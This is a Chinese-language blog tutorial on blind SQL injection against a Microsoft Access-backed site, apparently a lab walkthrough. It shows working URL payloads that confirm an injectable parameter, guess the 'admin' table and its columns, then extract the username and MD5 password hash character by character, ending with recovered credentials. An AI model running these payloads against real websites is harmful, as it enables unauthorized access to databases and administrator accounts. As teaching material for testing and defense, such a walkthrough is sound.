首页 > 技术文章 > access盲注

02SWD 2022-01-16 10:14 原文

1. access盲注思路:

  1. 判断注入点
  2. 猜解表名
  3. 猜解字段名
  4. 爆破字段值

2. 实战演示

2.1 判断注入点

  • ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=1
  • ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=2
  • 如下图,可知在参数SmallClassID中存在注入点,且为数字型注入
    01_access注入 - 盲注
    02_access注入 - 盲注 - 判断注入点

2.2 猜解表名

  • 与mysql数据库不同,access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解
  • ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select * from admin)
  • 如下图,结果返回正常,说明在access中存在表admin
    03_access注入 - 盲注 - 猜解表名

2.3 猜解该表的字段名

  • ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select adminuid,adminpwd from admin)
  • 如下图,页面正常,说明access数据库的admin表中存在adminuid和adminpwd两字段
  • 当然也可以使用如下语句进行判断:

?NewsID=20&BigClassID=2&SmallClassID=2 and 1=(select count(*) from admin where len(adminuid)>0)

04_access注入 - 盲注 - 猜解字段名

  • 这里我提一个小技巧:就是在我们猜表的字段名时,可以通过该网站后台管理页面的表单来帮助我们猜解。一般而言,程序员在写后台登录表单时,通常会将该表单中input标签的name属性设置的同数据库中相应的字段名相同,如下图:在此次案例中就是这样。
    05_access注入 - 盲注 - 小技巧

2.4 爆破字段值

2.4.1 判断表中有多少条记录

  • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from admin)=1
  • 如下图,页面返回正常,说明admin表中只有一条记录
    06_access注入 - 盲注 - 判断表中有多少条记录

2.4.2 爆字段的值

  • 先爆adminuid字段的值
    1. 先判断adminuid字段第一个值的长度是多少
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminuid) from admin)=5
      • 由下图我们可以判断admin表的adminuid字段的第一个值的长度为5
        07_access注入 - 盲注 - 判断字段值的长度
    2. 先爆adminuid字段的值(可以采用二分法慢慢试,这里直接给出结论了)
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,1,1)) from admin)=97
      • 页面返回正常,说明admin表中字段adminuid的第一个值的第一个字母为a(97是a的ascii码值)
        07_access注入 - 盲注 - 爆字段值
      • 同理可以爆出该字段第一个值的剩余字母,playload如下:
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,2,1)) from admin)=100
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,3,1)) from admin)=109
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,4,1)) from admin)=105
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,5,1)) from admin)=110
    3. 由于先前我们已经判断admin表中只有一条记录,且第一个字段值的长度为5,所以无需继续爆破了
  • 再判断adminpwd字段的值
    1. 先判断adminpwd字段第一个值的长度是多少
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminpwd) from admin)=16
      • 页面返回正常,说明admin表的adminpwd字段的第一个值的长度为16,初步推测可能是16b的MD5
        09_access注入 - 盲注 - 判断字段的长度
    2. 先爆adminuid字段的值(可以采用二分法慢慢试,这里直接给出结论了)
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,1,1)) from admin)=55
      • 页面返回正常,说明admin表中字段adminpwd的第一个值的第一个字母为7(55是7的ascii码值)
        10_access注入 - 盲注 - 爆字段的值
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,2,1)) from admin)=97
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,3,1)) from admin)=53
      • .....
    3. 爆破出来的MD5值为:55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 --> 7a57a5a743894a0e -->admin
    4. 由于先前我们已经判断admin表中只有一条记录,所以无需继续爆破了

2.5 综上所述

  • 我们后台的账号密码为:admin;admin
    11_access注入 - 盲注 - 后台

推荐阅读